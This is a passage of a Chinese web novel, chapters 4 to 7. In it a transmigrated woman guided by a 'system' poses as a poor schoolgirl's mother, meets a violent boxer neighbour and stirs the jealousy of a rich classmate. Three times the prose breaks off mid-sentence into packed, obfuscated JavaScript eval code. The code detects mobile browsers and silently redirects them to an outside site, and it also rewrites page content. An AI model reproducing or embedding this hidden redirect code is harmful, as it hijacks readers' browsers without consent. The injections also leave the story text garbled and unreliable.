姜渔被这个突然出现的女人牵着手,手上的触感……柔滑细腻得不可思议。 姜渔一脸懵然,脑子里也乱乱的,她强迫自己理智回笼,用力挣脱开那只柔荑,满脸警惕地质问道:“你到底是谁?!” 闻言,在场所有人都默默地屏住呼吸,还悄悄竖起了耳朵。 对啊,这位姜女士到底是姜渔的什么人啊,居然肯帮她还债…… 连方镜麒也定定地看了过来。 顶着一双双探究的目光,姜以柔微微一笑,柔声回道:“小渔,我是你妈妈呀。” 众人:“……???” 此话一出,满场陷入死一般的沉寂,所有人都一副被雷劈了似的表情。 慢慢的,众人僵硬地将目光投向了方镜麒。 大家刚才都看得分明,向来桀骜的方大少突发善心,把100万赔偿款降为100块,真实目的是想追求这位貌若天仙的姜女士。 但现在看来……方镜麒想追求的人,竟然是他同班同学的妈妈??? 啊这…… 方镜麒:“……” 方镜麒已经裂开了。 4. 第 4 章 偌大的校长室里陷入死一般的安静,在场的人有一个算一个,全都瞪圆了一双眼睛,不敢置信的目光落在姜以柔身上,久久难以回神。 妈妈? 姜渔的妈妈?! 你是说眼前这个貌胜天仙的大美女已经有一个上高中的娃了?! 热心带路的那名男同学艰难地问道:“姜姐姐……你该不会是姜渔的后妈吧?” 所有人呼吸一滞,紧张地等待姜以柔的回答。 后妈?!虽然不想相信姜渔的爹能娶到这么年轻貌美的仙女,但这个解释比亲妈容易接受多了! 然而,姜以柔温和的嗓音无情地打碎了他们的幻想,:“当然不是!我就是小渔的亲妈,她是我生的!” 其实不是。姜以柔是身穿来这个世界的,哪里生过孩子?但666保证说已经将她的身份安排得天衣无缝。 哪怕现在让她跟姜渔去验DNA,结果也会是亲母女! 所以姜以柔这话说得底气十足,完全不担心身份暴露。 她不知道的是,在她话落的一瞬间,在场不知有多少颗蠢蠢欲动的少年心碎了…… 带路的男同学不自觉捂住胸口,心痛到无法呼吸。 原来,喜欢的人已经结婚了不是最残忍的……喜欢的人已经生了娃,而且那娃还跟自己一样大,才是最残忍的! “姜、姜姐姐……”那小男生眼泪汪汪地盯着姜以柔,眼里是百转千回的心碎。 姜以柔此时却一本正经地说道:“小同学,刚才我就想提了,论辈分你该叫我阿姨的,以后可不能叫我姐姐了哦。” 给姜以柔带路的那四个学生面面相觑,又默默盯着姜以柔那娇艳夺目的脸。 这让他们怎么叫得出“阿姨”! 更让人语塞的还在后面。 姜以柔转头又看向方镜麒,不顾方大少已经铁青的脸色,笑眯眯地说道:“同学,赔偿金你收好,以后有机会的话,阿姨再好好感谢你。” 说完她便拉着姜渔的手离开了校长室,动作温柔中带着丝不容抗拒。 所有人的目光都不自觉地追随着那道窈窕纤细的身影,直到再也看不见了,也舍不得收回目光。 有的人连背影都那样动人,轻易便能牵动人心。 可惜……唉。 校长室内外都是诡异地安静。 不少人偷觑方镜麒,然后被他那可怕的脸色吓得一抖。 从知道姜以柔身份的那刻起,方镜麒就陷入了天崩地裂的茫然。 他紧紧攥着那100块钱,钞票上仿佛还残留着那个人若有似无的幽香,他到现在还能清晰地回忆起,那细腻柔滑的指尖擦过他掌心时的那份悸动。 可是…… 阿姨再好好感谢你。 阿姨…… 耳边仿佛还回荡着姜以柔温和的声音,可方镜麒的脸色却阵青阵白,阴沉得仿佛要滴出水来。 方镜麒面色沉凝,一双凤眸几乎要喷出火来。他用力攥紧了拳头,掌心的纸钞被捏得变形,几乎破烂,一如他那颗烈火烹油般难受的心。 半晌,方镜麒一脚踹翻了旁边的立式花瓶,巨大的瓷裂声震得人耳膜生疼。 方镜麒的凤眸中戾气惊人得浓烈,他死死咬着牙,几乎要忍不住冲上前把那个女人抓回来…… 片刻后,房间里响起方镜麒那阴沉的,带着浓浓警告之意的声音: “今天的事都给我烂在肚子里,否则……” 方镜麒冷笑一声,转身大步离开。 砰的一声关门巨响,校长室里终于没了那恐怖的煞星,所有人都不自觉松了口气。 片刻后,呆愣的张校长回过神来,气得大吼道:“方镜麒你个兔崽子,老子的花瓶!” 其他人被震得肩膀一耸,面面相觑间,都不知道该说些什么。 * 姜以柔拉着晕乎乎的姜渔走出校园,直到马路上有鸣笛声响起,姜渔才蓦然回神。 姜渔猛地甩开她的手臂,还警惕地后退几步。 “你不可能是我妈妈,你到底是谁?”姜渔沉声问道。 姜以柔也不生气,依旧笑得温柔:“可是,我确实是你妈妈啊。” “别开玩笑了!”姜渔苍白的脸上浮现出羞恼的红晕,“你到底有什么目的?” 姜以柔被她用这种防贼般的眼神盯着,也不爽地哼了一声,说:“不管我是不是你妈,刚才都帮你解决了个大麻烦吧?有必要这么防着我吗?” 姜渔被堵得无言以对,瞪着眼睛不知道该说什么,半晌她才憋出一句话:“……我会还你钱的。” 姜以柔挑了挑眉,玩笑道:“你要是还我钱的话,可就不是100块的价了。” 姜渔嘴硬道:“你说要多少钱!” 姜以柔饶有兴味地打量着姜渔。 十七八岁的少女,消瘦得有些吓人,那凹瘦的脸颊更显得她眼睛极大。 她的面色很苍白,可那双大眼睛却很有神,燃着倔强不服输的焰火。 姜以柔噗嗤笑出声来,她亲亲热热地挽上姜渔的手臂,“我们母女俩谈什么钱不钱的,多见外啊!走,我们回家……” 姜渔这次毫无反抗地被她拉走了。 因为她刚才被姜以柔的笑容晃到了。 等姜渔回过神的时候,她已经快到家了。 姜渔:“……” 在坐了很久的公交车后,她们终于来到了姜渔住的地方——一栋破烂老旧的居民楼。 姜以柔忍不住在心里质问666:“这不会就是女配的家吧?” 系统666理所当然地说道:“没错!” “女配姜渔没出生的时候,爸爸就离开了,很快她的亲生母亲——也就是你现在的身份——也扔下她跑了,她是被姥姥姥爷带大的,从小就过得很清苦。” 说话间,她们已经来到了姜渔的家——301户。 姜以柔神情复杂地看着这扇满是风霜的厚重木门,实在不敢想象屋里是个什么情形。 很快房门便打开了,屋内人未见声先至。 “小渔啊,今天怎么回来这么晚……” 一个白发苍苍的老妇人出现在门后,她佝偻着腰,满身都是贫穷和岁月留下的风霜。 看着这个老人,姜以柔心里多少有点忐忑,忍不住追问666:“你确定我不会露馅吗?他们能认不出自己的亲生女儿?” 系统斩钉截铁道:“你放心,我已经修改了这个世界的某些设定——将本世界里‘姜以柔’的形象全部替换为你的脸。” “从前所有接触过‘姜以柔’的人,再想起她这个人的时候,都会对应上你的脸。” “哪怕是亲爹妈也不例外。” 仿佛要印证666的话一般,那老妇人刚一看到姜以柔,就整个人呆愣住了。 随即她陡然爆发出一声惊人的嚎哭: “天爷呀!你……你是小柔?你个死孩子这些年都跑哪儿去了啊啊——” 姜以柔被这大嗓门震得耳朵一麻,不等她反应,便被人抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜以柔根本看不清他的脸,只隐约捕捉到了一双冷厉残忍如野兽般的眸子,让人背脊生寒。 姜以柔毫无抵抗力地被他按在墙上,一瞬间甚至无法呼吸。她脸色涨红,神情有些痛苦,不由自主地抓住那只箍在脖颈上的手,用力抓挠着。 然而,她摸到的那只手臂修长而结实,肌肉紧实得像铁一样,她拼尽全力都无法撼动。 求生本能的驱使下,姜以柔的长指甲在他的手臂上挠出好几道血痕,这些微的痛感仿佛更激怒了这凶悍的男人。 他俯身逼近,像座山一样压了过来,箍在姜以柔脖颈上的那只手纹丝不动,另一只已经举了起来——一个很凌厉的出拳动作。 姜以柔脚尖点地,拼命抓着他的手臂,她呼吸不畅,已经难受得闭起了眼睛。 就在男人携着拳风逼近的一瞬间,姜以柔的脸清晰地呈现在他眼中。 昏暗的楼梯间,潮湿的空气,一张比花更娇艳的脸就在他掌中。 面容如雪,长发如墨,纤柔的眉紧紧蹙起,潋滟如春水的眸子因恐惧而逼出了点点泪花。 男人感觉得到掌下那细长的脖颈,像琉璃一般脆弱。 男人的这双拳头打断过无数的硬骨头,可这一刻,他竟觉得掌中这毫无反抗力的脖颈如此……烫手。 烫得他那稳如泰山的手竟然微微颤抖起来。 5. 第 5 章 男人的动作实在太快了,所有人都没反应过来,姜以柔就被他当成进攻者摁在了墙上。 半晌,姜父浑身抖如糠筛,大吼一声后,义无反顾地冲了上去。 当然,这次并不是为了揍姜以柔这个不孝女。 “你!你放开我闺女!”姜父是个干瘦的小老头,在男人面前简直不够看的,但他却拼命推着男人,试图把姜以柔救下来。 姜母也哭叫着冲上前,“你别伤小柔啊,要打就打我吧……” 姜渔早被这接连不断的意外冲击得呆住了,此时骤然回神,咬着牙挡在了姥姥姥爷的面前,警惕地瞪着男人。 姜以柔其实也就一瞬间喘不过气,不知什么时候,男人的手就不自觉松了,只虚虚地握住她的脖颈。 姜以柔粗喘几声,心有余悸地睁开眼。 高大的男人依旧保持着俯身逼近的姿势,两人的脸凑得很近,他们甚至能感受到彼此的呼吸。 带着破旧楼房里独有的潮热,还有一丝……血腥气? 姜以柔定睛一看,这才发现血腥气应该是从男人身上传来的,他额角有很大一块擦伤,直到现在还有血迹不断流下,划过他的左眼,从他的下颌处滴落。 这张脸上还有好多处青紫、擦伤,可即便这么惨了,竟依然能看出他长得很不错。 五官是很正统的英俊,眉眼深刻,棱角分明,只是那双狭长的黑眸太过阴戾,还隐隐透着猩红,仿佛野兽般满是嗜血的戾气。 姜以柔不由得瑟缩了一下。 似乎是察觉到了她的恐惧,男人的神情有片刻的凝滞。 然后,他缓缓收回了箍在她脖颈处的手,还克制地后退了一步。 姜父姜母刚才捶打了男人半天,愣是没将他撼动一点儿,此时见他终于放过了女儿,顿时如蒙大赦,赶紧拉着姜以柔远离这个危险人物。 他们老胳膊老腿的,这时候却格外利索,蹭蹭带着女儿孙女跑回家,直接把大门锁死。 至于跟男人讨个说法什么的……算了算了。 姜以柔被便宜父母拉着离开,在进门之前,她鬼使神差地回头看了一眼。 现在她站在高处,终于能居高临下地俯视那个高大的男人。 他果然很高,肩膀宽阔,结实的线条在腰处陡然收窄,显出劲瘦却有力的腰肢,手臂肌肉微鼓,一看就很有力,难怪她拼尽全力都无法撼动。 从高处看,男人的长相就更明显了。他的脸上果然有伤,也果然很英俊。 鲜血蜿蜒过他半张脸,给他英俊的容貌平添几分邪气。 姜以柔在打量他的同时,对方也在观察她。 那双狭长幽深的黑眸定定地望着她,对视间,意味莫名。 狭窄的楼梯间,姜以柔站在楼上俯身,男人站在下一层仰望。 两人的视线胶着在一起,这一刻仿佛时间都静止了。 终于,姜以柔被拉进了屋内,砰的一声响,房门关闭,也阻隔了两人的视线。 楼道里又恢复了安静。 但过了很久,那个男人都站在原地没有动。然后他低头,默默地看着自己的左手,也就是刚才掐住姜以柔的那只手。 他整个人都沉默得像是一柄被封在剑鞘中的利剑,只有偶尔眼里会迸发出一点锋芒。 * 逃回家里后,一家人都吓得大喘气。 姜母急切地查看姜以柔的身体,“小柔,你没伤着吧?让妈看看……” 姜以柔抚着喉咙轻咳两声,“没事。” 这时,刚才好像死了般沉默的666终于冒泡了:“别担心,宿主,刚才那个男人是书里的大反派,他刚从地下拳场出来,只是条件反射地对你出手了,但没有动真格,你身体没大问题的!” 反派?姜以柔微微一愣。 不等她细想,她就被新认的便宜父母缠住了。 姜母抓着她不肯松手,反复询问她这些年的经历。 而姜父经历了这么一遭后,也没了发脾气的力气,只沉默地坐在椅子上,神情有些萎靡,那双浑浊的老眼中似有泪花。 姜渔还是一如既往地沉默,可望向姜以柔的眼神却格外复杂。 有了姥姥姥爷的认证,她终于能确定,这个突然出现的女人,真的是她的母亲,亲生母亲! 可是看姜渔那冷硬的表情,她竟完全没有一丝认回生母的激动。 姜母不断地追问道:“小柔啊,你这些年到底去哪儿啦?” 姜父身形一顿,悄悄竖起了耳朵。 姜以柔按照666给的剧本,流畅地编造这些年的经历:“我去外地打工挣钱了……” 姜母明显松了口气,语带抱怨地嗔怪道:“那你怎么就不知道给妈打个电话呢?十几年了,妈还以为你没了……你知道妈心里多难受吗!” 姜以柔眼观鼻鼻观心,无言以对。 这时,姜渔突然间冷声开口道:“你说你去打工挣钱了,那钱呢?” 姜以柔微微一怔,默默地看向她。 姜渔死死盯着她,胸膛起伏,越说越激动:“如果你真是我亲妈,那你就有义务养育我!可十几年了,你从没给家里打过一分钱,你有什么资格说是我妈妈?!” 姜母赶紧起身去拉外孙女,急切地替女儿开脱道:“小渔,你误会了,你妈妈给我们打过钱的,只是她一个人在外地打拼不容易,也挣不到多少钱……” 姜父刚才还一副恨不得揍死不孝女的样子,此时却也忍不住帮亲闺女说话:“小渔,再怎么说她也是你妈,你……” 姜渔情绪崩溃地突然爆发了,“她都已经不要我了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155854|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凭什么还让我认她当妈?!” 少女在即将背上100万的债务时,都是咬紧牙关一声不吭,此刻却在最亲近的家人面前流下了委屈又愤怒的泪水。 “姥姥姥爷,其实我早就知道了。”姜渔用力抹了把眼睛,微仰着下巴怒瞪向姜以柔,竭力不让自己的气势弱下去。 “我六岁生日那晚,姥姥和姥爷在房间里说的话,我在门外都听到了。” 姜父和姜母脸色一变,明显有些焦灼。 姜渔冷冷直视着一言不发的姜以柔,一字一句道:“你们说我可怜,还没出生的时候,父亲就离开了;而母亲……也在我两个月的时候抛下我,不知道跑去了哪里。” “那天晚上,姥姥你一边哭一边骂这个女儿没良心,非但不要亲生女儿,连父母都不要了,这么多年没有一点儿消息。” 姜渔黝黑的眼睛里浮现出深刻的恨意,嘶哑着吼道:“既然当初不要我,现在也别回来装好人!” “我没有妈妈,也永远不会认你!”姜渔扔下这句话后,扭头就跑,似乎受了很大的刺激。 姜渔在转身的那一刻,用力眨掉了眼里的泪花,神情随即变得冷硬无比。 姜家的房子很小,姜渔几步就跨到了大门口,想也不想地拉开大门,想逃离这个地方。 然而门打开后,姜渔却吓了一跳。 有个男人正安静地斜靠在她家门口,一声不响的,像是暗中蛰伏的野兽。 姜渔一眼就认出,就是刚才那个凶狠可怕的男人,她顿时浑身紧绷,警惕地盯着他。 男人实在太过高大,她需要仰头才能看清他的脸。这下姜渔才认出,原来他是住在楼上的邻居! 他穿着简单的黑色背心和工装裤,这身行头倒是很贴合他们“贫民窟”的经济水平。 男人露在外面的手臂很结实,肌肉线条流畅而健美,充满力量感,他就这么抱着手臂,背靠着姜家门口,那高大结实的身材和凌厉的气场,很难不让人紧张。 看着他脸上的伤,姜渔不由得想到了邻里间的传言。 经常有人撞见男人脸上带着伤回家,偶尔身上还会有一些深色的血迹,更别提他平日里独来独往,一个阴戾锋锐的眼神扫过去,简直能将人吓破胆。 原本还有人见他长得英俊而主动示好,但到了后来,都没人敢看他一眼,一见就溜边儿走。 不少人都说他可能是混□□的,简直就是危险的代名词。 姜渔只是个高中生,此时近距离接触传闻中的煞星,紧张得只会吞口水,连质问的话都忘了说。 男人缓缓站直身体,高大的身躯几乎挡住了阳光,姜渔就被笼罩在他极具压迫感的阴影下。 他转头,毫不掩饰地朝屋内望去,鹰隼般锐利的眸光精准无误地锁定了姜以柔。 6. 第 6 章 姜渔如临大敌,几乎要被这极具攻击性的眼神吓得尖叫。 但出乎意料的是,男人并没有像刚才那般强势凶狠,他神色平静,随意地抹了把脸上的血迹。 他像堵墙一般立在姜家门口,存在感和压迫感都很强,他不动声色地朝屋内的姜以柔看去。 姜以柔正坐在沙发上,细嫩的脖颈处有明显的红痕。 是他刚才下意识的“杰作”。 男人狭长的眼眸中涌起一抹暗色,英挺的眉不自觉皱了皱。 他随即克制地垂眸,手掌摊开递到姜渔的面前。 姜渔还以为他又要打人,惊得后缩了一下,见男人克制地保持着距离,且没有过激的举动,才慢慢冷静下来。 姜渔迟疑地低头看去,瞬间愕然地瞪大了眼睛。 男人伸出的那只右手修长而宽大,关节处有厚茧,还蹭的满是灰尘和鲜血。 但那掌心处却躺着一只小小的药膏,有种莽汉捏绣花针一样的微妙诡异感。 姜渔愣愣地不知该作何反应,气氛就这般僵持住了。 男人的面上似有些许不耐,他再次瞥了眼屋内,见姜母和姜父正火急火燎地往门口赶,很快双方便要碰面。 男人眉心微蹙,干脆将药膏直接塞进姜渔的手中,然后转身便走。 他长腿一跨,竟然能直接上四层台阶,所以没等姜父姜母看到他,他便已然消失了。 姜渔低头盯着手里的药膏,呆呆地愣了很久,直到被姥姥一把抓住手臂,她才恍然回神。 姜母腿脚不好,走得慢,等她到门口时正好没看到男人的身影,她对刚才那场微妙的对峙一无所觉,只紧紧攥着外孙女的手臂,生怕她跑了。 “小渔,这天儿都黑了,可不敢跑出去啊,太危险!”姜母强行把她拽进了屋内。 姜渔刚才全凭情绪上头才要离家出走,但经过那个危险邻居的一打岔,她差点被吓破了胆,胸口的怒气也都散没了,理智渐渐回笼。 虽然仍有些不情愿,但姜渔还是乖乖地跟着姥姥姥爷回了家。 “咦,小渔你手里拿的什么?”姜母敏锐地发现了她手里的东西。 姜渔张了张嘴,没说这是那个凶恶的男人给的,只默默观察这药膏。 姜母从她手里拿过药膏,眯着眼睛观察,“活血化瘀……” 姜母面上一喜,“正好给小柔用,她那脖子都被人掐红了……” 姜渔:“……” 姜渔目瞪口呆。 那个跟疯子似的活阎王干嘛给她活血化瘀的药膏? 姜渔的视线不由得落在姜以柔的身上。姜以柔正安静地坐在沙发上,哪怕不言不语,依旧美得让人心惊,眼神不自觉就会飘向她。 那份美貌竟然让她家这破旧的老房子都明媚起来…… 所以,这药膏是给姜以柔用的吧? 不管是不是给她用的,药膏已经被姜母细细地涂在了姜以柔的脖颈上。 看着姥姥那拿她当瓷器般小心翼翼的劲儿,姜渔暗自咬了咬牙,恨恨地回了自己的房间,且将门反锁,任谁敲门都不回应。 “唉……”姜母连声叹气,不由得为她们的母女关系而发愁,转头却看到姜以柔跟没事儿人似的,满脸无所谓,顿时气不打一处来。 “作孽啊!”姜母恨恨地举起手,但那巴掌最终还是没舍得落下,只轻轻推了她的胳膊一下,“这都是你作的孽!” 姜母止不住地抹眼泪,“你的心怎么就那么狠,闺女才出生俩月就扔下走了,这么多年也不回来看一眼……” 姜母和姜父一想起这些年的苦难,心情都很沉重,泪水根本止不住。 姜以柔其实一直都是事不关己高高挂起的心态,毕竟她只是个穿书者,造成姜家人苦难的那个“姜以柔”并不是她。 但两个老人在她面前落泪,她也着实有些头疼。 “那个……你们别哭了,我这不是回来了吗?”姜以柔睁着眼说瞎话,随便敷衍道,“我以后一定改邪归正。” “真的?”姜母抓住她的手,满脸期待与忐忑,“那你这次回来……就不走了吧?” “嗯,不走了。” 要走也是等女配黑化值清零了再走。姜以柔偷偷在心里补充道。 她可没打算跟这陌生的一家人过一辈子。 好不容易安抚了便宜爹妈,姜以柔忍不住冲666抱怨道:“都怪你,干嘛给我安排这么个身份,抛弃亲生女儿的人又不是我,却要我来背这个锅。” 系统讪讪道:“这也是没办法的事情……” “女配姜渔的人际关系太简单了,我好不容易才扒拉出来一个适合你顶替的身份。” “而且啊,其实给女配当妈也是有好处的!她现在越是恨你,就说明她越是缺母爱……救赎任务还不是手到擒来!” “行了,别说些有的没的了。”姜以柔不耐烦地打断了666的啰嗦,转而挑起另一个话题,“对了,刚才那个疯子是怎么回事?” “手劲儿这么大……”姜以柔轻抚着自己的脖颈,语气里满是抱怨。 “哦,你说谢凛啊,他是这本书的大反派来着。” “他前几年经历了家庭变故,正处于低谷期,现在在地下拳场里打拳呢。” “他刚才之所以对你动手,估计是出于拳击手的本能吧。” 好在他没有使出全力,不然他刚拐来的宿主就要完蛋了…… 姜以柔很快抓住了重点,问道:“为什么说他是反派?他也会对男女主出手吗?” “是的,等到过几年谢凛起势,会成为方家的劲敌。” 姜以柔突兀地笑了笑,“恶毒女配和反派竟然住在同一栋楼,还真是巧合。” “宿主,提醒你一句,谢凛是个冷酷无情、心狠手辣的大恶人,你平日里千万躲着他走!” 姜以柔心有余悸地摸了摸脖子上的红痕:“不用你说,我也会躲着他的!” “别担心,原著里的姜渔和反派没有什么交集,只要不主动挑事,谢凛不会对付你的。你专心救赎女配就好。” 说到任务,666有些心虚地补充道:“哦对,忘记跟你说了。刚才姜渔控诉你这个亲妈的时候,黑化值又涨了10%,现在她的黑化值有60%了,加油啊宿主!” 姜以柔:“……” 姜以柔漂亮的脸上第一次浮现出无语的神情,她深吸一口气,隐忍地问道:“如果姜渔的黑化值到了100%,会有什么后果?” 系统666语气沉重地说道:“如果黑化值满,姜渔会跟男女主同归于尽,这个小世界会崩溃,你也就彻底死去了。” 姜以柔闻言幽幽地叹了口气,继续追问道:“对了,今天姜渔为什么会跟女主起冲突?” “不知道为什么,姜渔一看到女主乐柠就容易情绪失控,可能是因为嫉妒她家世优越,父母疼爱?今天也是姜渔主动针对乐柠的。” 姜以柔若有所思地点了点头。 当晚,姜父姜母为了欢迎女儿,特意做了些好菜,以往过年的时候都不一定吃得这么好,足以见得老两口对女儿回来的欣喜。 但他们的隆重以待,对姜以柔来说却有些“无福消受”了。 姜以柔只尝了几口,就笑着说自己吃饱了,此后再也没动筷。 姜父姜母特意把他们的房间让给了姜以柔,自己要在客厅沙发上将就一晚,最后是姜渔看不下去,强硬地把姥姥姥爷拉去自己的房间。 期间姜渔从没给姜以柔好脸色。 姜以柔躺在生硬的床上,不舒服地翻了好几次身。她望着破旧掉皮的天花板,幽幽地叹了口气。 “小六,我严重怀疑,姜渔黑化值窜的那么快,还有她家里太穷的原因。” 姜以柔语气幽怨:“我刚来这儿一天都有点想黑化了,更何况姜渔在这儿过了十几年呢?” 系统666:“……” 哪里不对,但好像又有点道理。 “宿主,这好像也是一个思路!姜渔确实很自卑,如果你能想办法挣钱改善一下家境,说不定能让她变得阳光一点。” 他越说越兴奋,“我这就帮你搜索适合你的工作!” 姜以柔诧异地反问:“我还要去工作?” “……你要挣钱的话,不就得工作吗?”666疑惑道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155855|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这就不用你操心了,先睡吧。”姜以柔显然不想继续这个话题,缓缓闭上了眼睛。 姜以柔暗中撇了撇嘴。 钱这种东西,还需要她自己赚? * 深夜,别墅区。 几名佣人凑在一起窃窃私语道:“少爷还没吃晚饭呢,要不要给他送过去……” “别去!少爷今天心情不好,没见连宋管家都被骂得狗血淋头吗……” “直接关灯吧,少爷估计得明天中午才起了。” …… 他们口中的少爷此时正把自己关在卧室里。 方镜麒仰靠在沙发上,一双无处安放的长腿随意搭在茶几上,桌面上是一堆空酒瓶。 方镜麒指尖夹着一根香烟,他也不抽,任凭烟灰掉落在昂贵的真皮沙发上,就这么闭着眼睛。 如果不是他眉心褶皱深刻,一副很暴躁的模样,还真像是睡着了。 半晌,他将另一只手举起,眸光阴沉不定地盯着手里的东西。 那是张随意撕下来的小纸条,已经被他捏得很皱了,上面写着一串号码,字迹潦草,但很秀气。 方镜麒一张俊脸绷得很紧,凤眸中闪烁着阴晴不定的光。他的手指也不自觉更用力,几乎将纸条捏碎。 半晌,他腮侧微鼓,似乎正恨恨地咬着牙。 终于,他猛地抬手,用力将纸条团成一团,直接扔出了窗外。 小纸条很快便消失在了浓黑的夜中。 “哼!” 那个女人……孩子都跟他一样大了。 他怎么可能会看上那种女人?! 方镜麒冷哼一声,僵硬地转过头,一副已经把那张纸条抛之脑后的模样。 他抓起桌上的酒瓶,直接仰头灌了一大口。 他急切地吞咽着,喉结不停地抖动,仿佛要将心里的郁火连同酒精一同咽下去。 一瓶酒喝完,他扬手一甩,酒瓶撞在地板上发出清晰的碎裂声。 可惜的是,酒精似乎失去了消愁的作用。 方镜麒的脸色越来越难看,整个身体都紧绷起来,手背上凸起的青筋昭示着他的克制,一双凤眸里泛起隐忍的猩红。 …… 二十分钟后,原本陷入黑暗与宁静的别墅,突然间灯火通明。 宋管家带着几个佣人匆匆赶到后花园,目瞪口呆地看着几乎要把花园拆了的方镜麒。 “少爷,您这是……?”宋管家嘴角微抽,但还是恭谨地询问道。 方镜麒正弯身在花坛里四处翻找,一头银白色碎发在黑暗里格外显眼。 “滚,别烦我!”方镜麒头也不抬,冷声喝退了这些人,继续到处翻找。 宋管家无声地叹了口气,本想问问少爷在找什么,他们可以帮着一起找。 但想到方镜麒那说一不二的魔王性格,还是带着其他人悄无声息地离开了。 方镜麒在此处找了很久,却都一无所获,他第一次有点嫌弃家里的花园太大了。 他英挺的眉紧紧蹙着,面上浮现出几分焦虑,甚至隐隐有些后悔。 他深吸一口气,强迫自己静下心来,继续弯腰翻找。 终于,一个小时后,方镜麒找到了自己想要的东西——那个被他亲手扔掉的小纸条。 之前扔纸条的时候有多果决,此时他捡起纸条的动作就有多欣喜。 方镜麒将纸条紧紧攥在手中,终于能长舒一口气,他随意抹了把额头上的汗,连灰尘沾到脸上都不在乎。 胸腔里那颗不安鼓噪的心,瞬间平和起来。 他紧紧盯着纸条上的那串号码,指尖不由得轻颤了一下。 良久,他掏出手机,认真地将那串号码输入进去,还谨慎地检查了一遍,一个数字都不敢弄错。 他的指尖停在屏幕上方,却迟迟没有按下去。 方镜麒凤眸微闪,面上掠过一丝挣扎。 终于,他深吸一口气,一咬牙直接摁了通话键。 片刻后,机械女生响起: “对不起,您所拨打的电话是空号……” 方镜麒:“………………” 7. 第 7 章 “对不起,您所拨打的电话是空号……” 机械女声一直重复着这句话,仿佛是一柄利刃,直接将方镜麒戳了个透心凉。 片刻后,方镜麒俊美的脸上涌起一片愤怒的薄红,一双凤眼好像要烧起来,燃着灼灼怒火。 “草!” 方镜麒猛地将手机扔了出去,手机撞在墙壁上,瞬间碎成一堆垃圾。 方镜麒脸色难看得像是要杀人,扔完手机后,他又抬手将那张愚弄了他一整晚的纸条撕成两半,狠狠掷在地上。 方镜麒喘着粗气缓了一会儿,低头死死盯着地上碎成两半的纸条,凤眸中情绪激烈地翻滚。 半晌,他咬了咬牙,竟然再次弯腰,将那张被撕碎的纸条捡了起来。 方镜麒手里攥着纸条,黑着脸回到了卧室。 他把那两片纸放在桌子上,很久都没动,不知道在想什么。 一双凤眸闪烁不定,阴郁而冰冷。 然后,他下楼把宋管家喊了起来,臭着脸让他给自己拿胶带。 宋管家:“……” 少爷好像疯了。 拿到胶带后,方镜麒面色阴沉地回到卧室,砰的一声关上了房门。 看着紧闭的卧室门,宋管家无语地抽了抽嘴角。他沉思片刻,回到自己的房间开始打电话。 电话在响了几声后,很快被接起。 “什么事?”手机里传来一道低磁的男声。 那声音平缓沉静,仿佛玉石相击般清澈磁性,却不带什么情绪,平静得几乎没有起伏,像是不沾尘世的神佛。 “二爷。”宋管家低眉顺目,哪怕只是通过手机交流,也一副大气不敢出的恭敬模样,“少爷他今晚有点反常……” 宋管家把今晚发生的事详细地说了一遍,犹豫片刻后,试探地说道:“我看……像是恋爱了。” 手机那头沉默片刻,淡声道:“查一下是谁。” “好的,二爷。” 直到手机里传来忙音,宋管家才稍微松了口气。 “唉,也不知道少爷是为了谁折腾大半宿……”宋管家不由得摇头叹气。 “当年方总去世前,特意叮嘱二爷,给镜麒少爷找个门当户对的媳妇儿……希望镜麒少爷喜欢上的人家世不错吧。” “若是触怒了二爷……” 宋管家不由得想起那位的雷霆手段,立刻打了个寒颤。 * 第二天,姜渔顶着一张憔悴的面容,准时去上学了。 她走的时候,姜以柔睡得正香,没有丝毫为人母的意识。 抵达圣维尔学院时,姜渔仰望着宏阔的校门,环视四周说说笑笑的学生们,他们每一个人都衣着得体、姿态从容,那是从骨子里散发出的自信。 而她,就像一个闯入天鹅群的丑小鸭,与周遭一切都格格不入。 姜渔深吸一口气,低垂着头,掩去了眸中的厌憎。 她迈着沉重的脚步踏进校园。 今天,她又会遭遇怎样的戏耍和排挤呢?姜渔脸色微白,捏着书包带的手紧了紧。 当她走进教室时,原本热闹的教室有一瞬间的安静,各种目光或隐晦或明显地落在她身上,意味不明。 姜渔对班里各色的打量习以为常,她径自落座,掏出书本就开始预习功课。 这时,有个男生大大咧咧地晃到她桌前,不客气地质问道:“喂,昨天不是你值日吗?怎么地板这么脏,害得我们今天值日的人多干了活……” 姜以柔正低头看书,这道声音如同苍蝇一般,让她烦躁得皱紧了眉心。 昨天她已经将自己的值日工作完成,这个男生不过是刻意找茬罢了,类似的事情经常发生。 有这个男生“打头阵”,不出意外的话,之后会有更多人加入进来声讨她,冷嘲热讽,无所不用其极。 然而,那个男生话音未落,就突然被人捂住了嘴巴。 “行了行了,多干点活儿能累死你不成?别抱怨了!”一个男生抬手勒住他的脖子,直接把他的抱怨堵了回去。 姜渔身形一顿,心里涌起不可思议之感——居然有人帮她说话? 